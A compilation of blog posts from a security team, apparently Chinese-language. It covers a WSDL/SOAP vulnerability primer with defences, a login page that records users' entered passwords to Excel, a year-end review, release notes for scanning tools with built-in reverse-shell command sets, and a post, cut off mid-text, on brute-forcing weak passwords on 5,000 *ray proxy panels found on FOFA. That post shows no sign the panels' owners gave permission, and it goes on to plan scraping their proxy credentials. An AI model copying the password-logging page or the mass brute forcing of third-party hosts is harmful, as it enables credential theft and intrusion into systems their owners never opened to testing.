团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

"Nothing happens without a cause." --斯宾诺莎 (Baruch Spinoza)

曾经有一个眼神清澈的青年，他在酒店房间中快速浏览着网页，渐渐的，他面红耳赤、心跳加速、荷尔蒙侧漏，突然，他看到了一个令他不解的东西，一个条链接的后面赫然挂着?WSDL。这是什么，难道建立这个网站的人想告诉世人，我(W)是(S)大(D)佬(L)吗？为了弄清楚一切，这位青年，开始翻阅起资料......

一、扒一扒WSDL的底

WSDL（Web Services Description Language，Web服务描述语言）是一种基于 XML 的语言，用于描述网络服务的具体功能。 它的主要目的是告诉外界：

“我这里提供了一个服务。” “这个服务可以通过什么方式访问（地址、协议）。” “这个服务里有哪些可以调用的方法（函数）。” “调用这些方法需要传入什么参数，参数是什么类型。” “调用成功后，它会返回什么样的数据。”

文字叙述难以理解，找个有关网站我们看一下：

QUAKE:body:"<wsdl:" AND title: "WebService Web 服务"

正常打开的界面如下，这也是个特征，.net的基本都长这样。

然后http://yoururl?wsdl，这样就可以看到XML了

可以看到打开以后能看到一大片标签（这里就不展开内容了，要打码，打码看多了对身体不好），这些标签的意思大概如下：

1. types:定义参数和返回值的数据类型（比如字符串、整数、或是自定义的复杂对象）。

2. messages:说明每个功能需要什么输入（参数）和会产生什么输出（返回值）。

3. portType:说明服务提供哪些大类功能（操作）

4. binding:说明服务使用的通信协议（如 SOAP over HTTP）

5. service:如何连接到服务

当然，在任何资料里寻找WSDL都会发现和SOAP密不可分，他们俩就好像初恋的大学生，火热、清澈、胶黏~

那他们的关系呢，我们用个例子来说 假设有个服务器，发布了一个WSDL，提供查询开房次数功能

<!-- 示例：WSDL中定义的查询开房次数记录操作 -->
<wsdl:operation name="getkaifanglog">
  <wsdl:input message="tns:getkaifanglogRequest"/>
  <wsdl:output message="tns:getkaifanglogResponse"/>
</wsdl:operation>

这时候，来一个年轻的女孩叫小美，他看到了这个WSDL，想查询男朋友小帅的开房记录，于是他构造了SOAP请求。

<soap:Envelope xmlns:soap="...">
  <soap:Body>
    <getkaifanglog xmlns="http://example.com/xxx">
      <name>小帅</name>
    </getkaifanglog>
  </soap:Body>
</soap:Envelope>

服务器查询到了小帅的开房记录，并用SOAP的形式告诉了小美。

<soap:Envelope xmlns:soap="...">
  <soap:Body>
    <getkaifanglogResponse xmlns="http://example.com/kaifanglog">
      <number>2,147,483,647</number>
    </getkaifanglogResponse>
  </soap:Body>
</soap:Envelope>

小美伤心欲绝，从此发誓要远离渣男，并留下了这么一张图。

总结一句话：WSDL 是一份基于 XML 的详细说明书，它告诉客户端如何与一个 SOAP Web 服务进行交互，包括服务地址、可用方法和参数格式。

二、WSDL相关的一些漏洞利用

以下截图均为个人内网环境靶场！既然提到了wsdl，就有看了看相关的一些漏洞以及佬们用的工具。（此处非常基础，佬们可以小手点点赞然后退出就好了嘿嘿嘿） 1、信息泄露（用户枚举） 个人理解，既然暴露了如何交互，就可以利用它去尝试找可以暴漏用户信息的地方，例如：

2、常见web漏洞如xxe、sql注入:

3、一定要写大佬们都推荐的工具-Wsdler burp商店自带，下载非常便捷

找到扩展，点击直接使用

有问题的地方直接就显示出来，可以转发到重发器里自己再搞一搞（非靶场环境下记得戴好安全措施哦）

三、防御建议

1. 生产环境中禁用或限制WSDL访问（例如，仅允许内网IP访问？wsdl）。

2. 使用严格的XML解析器，禁用DTD、外部实体（resolve_entities=False）。

3. 对所有输入进行严格的校验和净化（白名单）。

4. 使用预编译的参数化查询（防止SQLi）。

5. 实施严格的基于身份验证和授权的访问控制。

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

0x01 前言

这是一个可以用来记录登录日志的系统，文章主要用来记录一下大体的实现思路。

0x02 项目效果

登录日志的功能可以实时记录所有用户的登录信息，包括输入的用户名、密码、来源IP及登录时间；同时后台将日志保存为Excel格式，便于相关人员查看和分析。

0x03 前期的技术选择与架构设计

Node.js+Express.js：作为后端服务，Node.js的事件驱动、非阻塞I/O特性还是比较适合处理大量的并发登录请求的。 ExcelJS：替代了有问题的xlsx库，提供了更稳定、功能更丰富的Excel文件处理能力。 原生前端技术：使用HTML/CSS/JavaScript 构建界面，避免了框架依赖，同时也提高了系统的稳定性和加载速度。

架构设计

系统主要通过三个主要组件来实现功能

• 后端服务器 (server.js)-提供API接口和Excel文件处理

• 登录页面-模拟真实的企业登录界面

• 日志查看器 (logs-viewer.html)-提供日志管理和查看功能

0x04 核心功能实现

对于整个项目的实现思想来说，重要的核心功能之一就是如何实现准确获取来源IP。

自动获取用户的真实IP地址

使用Express.js的trust proxy配置，让Express信任代理服务器转发的请求头。同时确保IP格式的一致性。

生成美观易懂的Excel表格

考虑到登录信息可能并发量比较大，那么就要求我们的生成表格功能要实现自动创建、更新和管理Excel格式的登录日志文件，而且支持追加新记录和保持现有数据。

这里我刚开始时用的xlsx库，但是后来实测发现总是出现各种问题，后来使用ExcelJS库替代有问题的xlsx库，并且实现了自动创建表头和样式（粗体、背景色），而且支持文件追加模式，不覆盖现有数据，同时具备完整的错误处理和日志记录。

集成前端日志记录

在登录页面中无缝集成日志记录功能，每次用户登录时都会自动发送日志数据。

完整的日志管理界面

这个界面可以提供Web界面的日志查看器，支持文件列表、内容预览、下载等功能。

0x05 系统工作流程

1、用户登录流程

用户输入账号密码 → 前端记录日志 → 发送到后端API → 获取真实IP → 写入Excel文件 → 返回成功响应

2、登录日志的记录与管理流程

管理员访问查看器 → 获取文件列表 → 选择文件查看内容 → 下载或预览日志数据

0x06 实现效果

整个项目的实现思路以及准备就如前文所述，接下来咱们启动一下看看具体效果。

• 前端登录页面：

• 后台输出的请求日志记录

• 前端请求日志查看

• 导出的Excel表格及打开效果

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

序言

日月交替，斗转星移。

倏忽间，2025年倒计时的钟声已经敲响。

站在年末岁尾，让我们为2025年画上一个句号，可能不太圆满，但仍期冀这一年来所有的奔赴都有意义。

2025 年，没有喧哗的转折，也没有刻意的铺陈，有的只是一个又一个项目的顺利推进，一次又一次关键任务的如期完成，以及在不同场景中持续发挥价值的专业支撑。

如果一定要用一句话形容这一年，或许是：在被需要的地方，我们一直都在。

年度概览

2025 年，网络安全行业持续演进，技术与业务的融合不断加深，对专业能力、交付质量和协同效率提出了更高要求。

在这样的背景下，我们持续完成了数量稳步增长的项目交付，在多条业务线上保持了稳定输出，逐步形成了更加成熟、高效的协作节奏。

让有限的资源发挥出更高的效率，让工作重心始终聚焦在“把事情做好”这件事上。

这一年，我们更加确信： 稳定、可靠、可持续的交付能力，是团队最重要的竞争力。

安全服务：不声张，更不能掉链子

安全服务始终是我们的核心工作，也是贯穿全年的主线任务。

2025 年，我们在项目规模持续扩展的同时，始终坚持以交付质量与服务稳定性为首要目标，不断提升整体执行效率与专业水准。

从现场实施到远程支撑，从方案编制到报告输出，团队在不同角色之间灵活切换，形成了高度协同的工作模式。专业、专注、可靠，成为我们服务过程中最鲜明的底色。

围绕“零事故、零通报、零差评”的服务目标，我们持续完善流程、优化预判机制，通过不断复盘与改进，让整体交付更加稳健、可控。

有人说，优秀的安全团队是没有存在感的。 或许正因为如此，我们始终更在意：在看不见的地方，把事情一次次做对。

平台与工具：在实践中持续进化

2025 年，对我们来说是平台真正“经受现实检验”的一年。

2024年的时候，我们开发的潮擎智能化服务平台客户端在公司内部小范围试用。2025年客户端已经在公司内全面使用，完成了对商用平台的取代和数据平稳迁移，开发小组在完善客户端的同时又从零开始开发服务端，目前服务端也已经进入小范围试用阶段。

这不是一个“一蹴而就”的过程，而是一个不断修正、不断打磨的过程，伴随着大量真实项目的数据流转、问题反馈和使用习惯修正，平台历经15次版本升级，响应Bug/需求260余项，这让平台从“能用”，逐步走向“可依赖”。

与此同时，无影、Tscan、扶摇等内部工具也在持续打磨中不断成熟，让思路沉淀为工具，让工具反哺效率，这给我们的项目实施和应急支撑带来了很大的助力。

让工具更自动化和智能化，让人更专注化和精细化，是我们始终坚持的方向。

攻防与应急：不闪耀，但持续在场

2025 年，我们持续参与多项省市级攻防演练与实战任务，在不同场景下积累实战经验、提升综合能力。

在0day与高级社工成为“破局利器”的今天，我们的积累并不占优，这并非妄自菲薄，而是对现实清醒的认知。

面对不断演进的攻防技术体系，我们选择了一种更务实的态度：在实战中校准认知，在演练中补齐短板，让团队能力始终保持在线状态。

与之相比，我们在 应急技术支撑领域的价值则更加凸显且不可替代。从配合监管部门的专项行动，到保障重大活动期间的网络清朗，从一份份及时的漏洞报送，到一篇篇深入的地域性安全态势分析，我们的工作渗透在区域网络安全的毛细血管中。

这种支撑，靠的不是单点的技术炫技，而是对政策的理解、对流程的熟悉、对责任的敬畏，当“多元化支撑”成为常态，我们就是那块需要时随时顶上的“基础模块”。

CTF与竞赛：热爱可抵岁月忙

在日常工作之外，CTF赛场上的那份热爱依然生长。从线上赛的云端博弈，到线下赛的实地交锋。

星光不负赶路人。这一年，我们荣获二等奖2项、三等奖7项、优胜奖1项。这可能和我们理想的目标还有些许差距，但每一份荣誉都是成长的见证。

相比成绩，我们更珍惜这种能为共同爱好集结、并肩作战的状态，它让技术保持敏感，让团队保持连接，也让热爱成为推动前行的内在动力。

因热爱而投入，因纯粹而珍贵。

技术输出：形式变化，积累未停

这一年，技术文章和内部培训的数量锐减。

随着业务重心的调整，技术沉淀更多地融入到项目实践、工具建设和场景探索之中，从“写出来”逐步转向“用出来”。于细微处筑牢安全之基，于实践中淬炼专业之力。

在实战中总结经验，在实践中校验思路，在探索中理解 AI 与安全的结合方式，这些积累或许不张扬，却真实而扎实。

思考从未停下，只是换了一种方式继续。

AI 与现实：焦虑之外，与变化同行

2025 年，AI 对安全行业的影响更加直接，也更加具体。

自动化能力在提升，工具在变强，一些原本高度依赖人工的工作正在被重新定义。焦虑是真实存在的，紧迫感也是。

但这一年我们也越来越清楚地认识到：AI 擅长的是效率，而安全真正的价值，往往存在于不确定性里。

AI替代的不是安全工程师，而是重复劳动。我们能做的，不是抗拒变化，而是尽可能让自己站在变化的前面一点点。

算法正在逼近最优解，而安全从来不是一条直线的计算过程。在噪声、误判与未知之间，仍需要有人理解上下文、承担责任，并在不确定中做出选择。

写在最后

2025 年，没有掌声雷动，也没有高光时刻。这一年，或许我们不是走得最快的那一群人，但我们还在稳步前行。

山有顶峰，湖有彼岸，在人生漫漫长途中，万物皆有回转。当我们觉得余味苦涩，请你相信，一切终有回甘。

前方，道阻且长，行则将至。

身后，初心未改，温暖可期。

2026，新岁景明，步履坚定，昭昭如愿，岁岁安澜。

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

无影(TscanPlus)，一款综合性网络安全检测和运维工具，旨在快速资产发现、识别、检测，构建基础资产信息库，协助甲方安全团队或者安全运维人员有效侦察和检索资产，发现存在的薄弱点和攻击面。

【主要功能】 信息搜集、端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、UrlFinder、域名探测、网络空探、项目管理等。

【辅助功能】 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成、JAVA编码、资产分拣、Hots碰撞、40xBypass、Jwt破解、Ip归属地查询等。

TscanPlus 功能介绍可参考文章：《TscanPlus——一款红队自动化工具》

1、关于无影

无影(TscanPlus)于2024年上线v1.0版本，历时一年多时间终于上线v3.1版，Github上Star数量3k，也有了一定的用户群体，在此也非常感谢大家对无影的支持和帮助。

在3.0版本新增Awvs、AI辅助分析等功能后，3.1版本新增微信小程序反编译、全面升级PoC检测引擎、国密网站探测、Nessus扫描、DumpALL、水洞专用等多个模块，并新增空间测绘DaydayMap接口、备案查询ICP_Query接口等。

2、新功能介绍

2.1 新增微信小程序反编译功能

全新集成小程序反编译功能，兼容微信3.0与4.0版本，可自动分析并匹配小程序路径，在内容发生变化时实现自动刷新，极大提升分析效率。

工具内置安全审计能力，支持用户自定义敏感信息匹配规则，并对小程序、小程序组件信息及识别的敏感内容进行本地缓存。同时，提供一键清空反编译结果与缓存、手动重载及手动反编译等操作。

2.2 全面升级PoC检测引擎

POC检测引擎从Xray 1.0全面升级至Nuclei，支持单线程代理模式与多线程高性能模式智能切换，可根据网络环境自动选择最优扫描策略。集成Interactsh带外检测能力，支持自定义Header、Cookie及AI智能分析漏洞结果。

另外，从Nuclei官方templates及其他多种渠道获取PoC总数15w左右，经过多种去重、格式校验、AI误报率审核、不常见poc去重等，最后精选5400+内置在无影中，并可支持用户自定义外置Poc。

同时新增PoC在线更新功能，并搭建一套多源nuclei-poc的监测平台，每周会针对最新的poc进行筛选和tag标注，并在无影中进行实时推送。

2025年12月3日，在CVE-2025-55182(React Server Components远程代码执行)被爆出的第二天，很多同行还在“辩论”是鸡肋还是核弹时，当天下午无影已推送CVE-2025-55182漏洞检测PoC，第三天该漏洞才被确认为核弹级漏洞。

2.3 新增国密网站识别功能

无影的web探测、目录枚举功能现已支持国密算法网站访问。当常规HTTPS请求失败且目标为HTTPS网站时，在启用国密模式后，将自动使用国密算法（SM2/SM3/SM4等）进行请求。该功能可智能识别并兼容采用国密SSL/TLS的网站，提升对国密加密网站的探测与扫描能力，确保在国密环境下正常访问目标站点。

2.4 新增Nessus扫描功能

全面集成Nessus专业漏洞扫描引擎，支持Basic、Discovery、Web App等8种扫描策略，可灵活配置代理与并发任务数。实时监控扫描进度与状态，自动统计Critical、High、Medium、Low、Info五级漏洞分布，并支持一键导出HTML格式报告。

内置智能超时控制与任务管理机制，所有扫描记录自动保存至本地数据库，支持随时查看历史扫描结果。提供停止扫描、删除任务、批量清理等便捷操作，助力高效完成安全评估工作。

2.5 新增DumpALL模块

集成源码泄漏检测与自动下载功能，支持 .git、.svn、.DS_Store、目录列表四种泄漏类型的智能识别。提供"仅检测"与"自动下载"两种工作模式，可灵活设置文件大小过滤阈值，避免下载超大文件。支持批量扫描与单目标手动触发。

内置智能目录管理机制，自动为重复扫描创建递增编号目录，防止数据覆盖。实时反馈扫描状态（检测中、下载中、已完成），支持代理配置，并统计下载文件数量。所有下载内容保存至本地输出目录，便于后续安全审计与源码分析。

2.6 密码破解优化多项检测

密码破解修复多个功能Bug：多个账户时进度异常、暂停功能无效、RDP协议闪退、全局超时、资源占用高等。

截止目前，无影已集成了48种服务和协议的密码破解功能。覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。

2.7 新增水洞专用模块

专为渗透测试工程师设计的自动化（水洞）检测模块，旨在“让天下没有难测的系统，让天下没有难出的报告，让天下没有难过的红队”。

水洞专用模块参考WaterExp项目思路，内置15+种常见Web安全风险检测规则，涵盖HTTPS配置、Cookie安全、CSP/X-Frame-Options缺失、服务器信息泄露、jQuery版本漏洞、CSRF、不安全HTTP方法、TLS版本过低等。自动识别并关联开放端口与Web服务，评估整体安全态势。

每项检测自动生成完整证据链，包括HTTP请求/响应抓包、高亮关键信息、自动截图，并提供漏洞详情、测试过程、风险分析及修复建议。规则化漏洞定义，支持快速扩展。

2.8 新增多个查询接口

ICP查询模块新增镜芯API和ICP_Query模块接口，并支持网站、小程序、APP、快应用等多种类型资产的批量查询。

支持单域名、多域名、多公司名的查询模式，在查询时会有限查询本地数据库，并对本地数据和网络数据进行去重和整合。

支持暂停查询、导出数据、设置代理等多种选项，并会根据接口返回数据情况判断是否被封IP，防止资源浪费。

2.9 端口扫描支持UDP扫描、IPv6协议、防火墙检查等

无影在端口扫描时，针对常见UDP协议（如DNS、DHCP、SNMP等协议）进行定向检测，针对SNMP有UDP和TCP两种情况也进行了分别判断，更精准的发现更多资产和指纹。

当电脑支持ipv6协议时，IP端口扫描也可对IPv6网络进行端口扫描和指纹识别。

另外，当探测某些服务器端口时，有时会发现所有端口都开放，这时可能是目前主机启用了防护措施。为了避免在这种目标上浪费太多时间，无影启用了防火墙检测功能。在开启后会检测防火墙是否开启，如防火墙开启则只扫描常见的50多个端口；关闭该项检测后，会根据配置的端口进行全量扫描。

2.10 web指纹检测性能优化及页面截图

目前内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟。同时增加页面截图功能，方便站点预览。

2.11 导出数据支持更多格式

所有功能模块支持html和xls格式数据的导出，信息搜集模块也支持对该项目所有数据信息进行整合导出。

2.12 全面支持中英文切换

无影现已支持中英文界面切换。在设置界面可随时切换语言，界面、菜单、提示信息等将实时更新。支持中文（简体）和英文两种语言，满足不同用户需求，提升国际化使用体验。语言设置保存后，重启应用即可生效，方便国内外用户使用。

3、其他已有功能

【特色功能】

1、内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟，在效率和指纹覆盖面方面应该是目前较高的了。

2、在指纹探测结果中，对130多个红队常见CMS和框架、Poc可关联CMS进行了自动标注。内置大量高质量Poc，并可外接Nuclei、Afrog、Xray等Poc工具，可实现指纹和Poc的联动，根据指纹识别的结果自动关联Poc，并可直接查看poc数据包相关信息。

3、在创建IP端口扫描、Url扫描时，可关联Poc检测、密码破解、目录扫描等功能，发现匹配的服务或产品时会自动触发密码破解或poc检测。

4、内置48种常见服务的弱口令破解，可方便管理员对内网弱口令进行排查，为提高检测效率，优选并精简每个服务的用户名和密码字典。覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。

5、实现了编码解码、哈希计算、加密解密、国密算法、数据格式化、其他转换等共36种类型，其中编码解码类8种、哈希计算13种、加密解密9种、国密算法3种、数据格式化9种、其他2种。包含了AES、RSA、SM2、SM4、DES、3DES、Xor、RC4、Rabbit、Base64、Base32、URL、ASCII、各进制转换、字符串与进制转换、HTML、Unicode、MD5、Hmac、SM3、SHA1、SHA2、SHA3、NTLM、JSON格式化与压缩、XML格式化与压缩、IP地址与整数互转、String.fromCharCode、Unix时间戳互转、文本去除重复行、字母大小写、生成各类随机字符串、字符串反转、JWT解析与弱密码、一键解密OA等。

6、目录枚举默认使用HEAD方式，可对并发、超时、过滤、字典等进行自定义，内置了DirSearch的字典，可导入自己的字典文件，也可用内置字典fuzz工具进行生成。

7、内置各类反弹shell命令85条、Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条、MSF生成命令21条、CS免杀上线命令等，可根据shell类型、操作系统类型、监听类型自动生成代码。

8、灵活的代理设置，可一键设置全局代理，也可以各模块单独开启代理功能，支持HTTP(S)/SOCKS5两种代理，支持身份认证。

9、快速的子域名探测，域名可联动其他子功能，可配置key后对接多个网络空间探测平台，一键查询去重。

10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。

TscanPlus 更多其他功能介绍可参考文章：《TscanPlus——一款红队自动化工具》

4、软件下载

Github下载：https://github.com/TideSec/Tscanplus/releases

1、功能介绍和常见问题：https://github.com/TideSec/TscanPlus?tab=readme-ov-file#FAQ

2、启动报错相关问题合集：https://github.com/TideSec/TscanPlus/issues/226

3、程序闪退相关说明：https://github.com/TideSec/TscanPlus/issues/383

4、反馈Bug领取Key说明：https://github.com/TideSec/TscanPlus/issues/241

【转发本文章到朋友圈，获赞30个以上，截图发到"Tide安全团队"公众号后台，可获取一个key，解锁所有PoC功能，本活动截止到12月13日18:00 】

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

大鹏一日同风起，扶摇直上九万里。  -- -- 李白

🚨 免责声明：请勿用于非法用途，仅限授权测试！ 扶摇(FUYIO)：一款内网可用的JS漏洞检测与敏感信息挖掘工具

一、为什么想做这样一款工具

在之前的工作中，尤其是在一些特殊的网络环境下，经常遇到想要的浏览器插件不方便拷贝或者无法使用的情况，如FindSomething、wappalyzer、retire,js等，没有了这种半自动工具，但是又不想去手翻JS找漏洞和敏感信息泄露（因为究极懒），就打算搞这么一款工具。

二、核心功能介绍

1、指纹匹配及漏洞检测

扶摇能识别网站引用的JS库及其版本，并匹配 CVE漏洞数据库，输出风险详情及利用方式。 ✅ 支持检测的JS库： 如jQuery、Vue.js、React、Angular、Bootstrap 等主流框架 ✅ 对比已知漏洞指纹： 通过提取并匹配网页指纹，比对内置漏洞库，提示漏洞信息，提供辅助思路 📌 示例漏洞检测效果：

2、敏感信息深度挖掘

扶摇内置了扫描策略，可扫描HTML和JS文件中的敏感数据并导出成TXT，可以扫描到的敏感数据包括以下内容： 🔑 个人隐私信息（如身份证、电话号码、邮箱） 🔒 服务器敏感信息（IP、端口、域名、URL） 🛡️ 其他敏感配置（ak/sk、地图key、AES密钥） 📌 示例敏感信息扫描效果：

注：图示扫描文件由AI生成

3、Webpack打包检测

📦 Webpack打包检测 识别Webpack打包的JS文件（如app.chunk.js），对chunk映射的js进行拼接、验证存活并搜集敏感信息。 📌 示例敏感信息扫描效果：

4、其他特性

🚀 请求头及代理自定义功能 可以对cookie(指令-c),Authorization(指令-A)以及代理(指令--proxy)内容进行自定义。

⚡ 高性能爬取与解析 支持 HTTPS证书绕过，适应内网环境，同时设置超时控制，避免卡死。 🛡️ 全过程无害化 工具不会主动发送POC，只做信息提示辅助测试思路。

三、推荐使用场景

🔍 1. 企业安全团队

定期巡检Web应用，发现第三方JS库漏洞，排查员工误提交的敏感信息

🕵️ 2. 渗透测试

在授权测试中，快速定位JS漏洞攻击面，收集目标网站的敏感信息，辅助进一步渗透

👨‍💻 3. 开发者自检

检查项目依赖的JS库是否存在已知漏洞，避免硬编码敏感信息上线

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

0x01 框架简介

对于*ray框架之前接触不多，先来熟悉一下相关资料。 *ray面板管理后台界面，常用于V2Ray/*ray代理服务的部署和管理。 功能介绍： 系统状态监控 支持多用户多协议，网页可视化操作 支持的协议：vmess、vless、trojan、shadowsocks、dokodemo-door、socks、http 支持配置更多传输配置 流量统计，限制流量，限制到期时间 可自定义 *ray 配置模板 支持 https 访问面板（自备域名 + ssl 证书） 支持一键SSL证书申请且自动续签 

0x02 目的

*ray面板管理后台登录后的功能如下:

如果我们将图中“入站列表”中的代理协议（如 SOCKS）、地址、端口、用户名和密码等信息通过脚本爬取下来,那么后续可以根据爬取的结果，自动生成代理工具（如 Clash、Proxifier、Shadowsocks 客户端）的配置文件，批量部署代理连接；或者进行结合脚本批量对这些节点进行延迟测试、测速、存活探测等等。

0x03 口令爆破

在尝试编写脚本之前，需要想办法收集一波资产

这里我导出了5k条。接下来就需要爆破其中的弱口令了，在github上找了一圈觉得还是用我们团队大佬之前自己开发的web_pwd_common_crack比较好~

https://github.com/TideSec/web_pwd_common_crack

不过这脚本年代太久了，还是python2，先把它简单修改一下为支持python3吧。 主要是把新版本不兼容的地方改进一下，比如基本语法更新（所有print语句添加括号，使用queue替代Queue，使用is_alive()替代isAlive()），还有字符串和编码处理，HTTP请求处理等等。另外还要做一下性能优化，毕竟我的云主机配置太低，万一跑着脚本卡死就浪费时间了. 添加延时，避免CPU占用过高:

改进内存的使用:

运行虽然有报警，但是可以正常跑，不强求。

最终5k条FOFA导出的数据共计跑出几十条弱口令。没办法，云主机性能有限而且资产量太大，只能把账号和密码字典设的少一些了。

0x04 编写爬虫脚本

1、实现思路

接下来是编写爬虫脚本。我们已经知道了面板管理后台中支持的用户协议类型有很多，比如vmess、vless、trojan、shadowsocks等，基本类似于如下截图

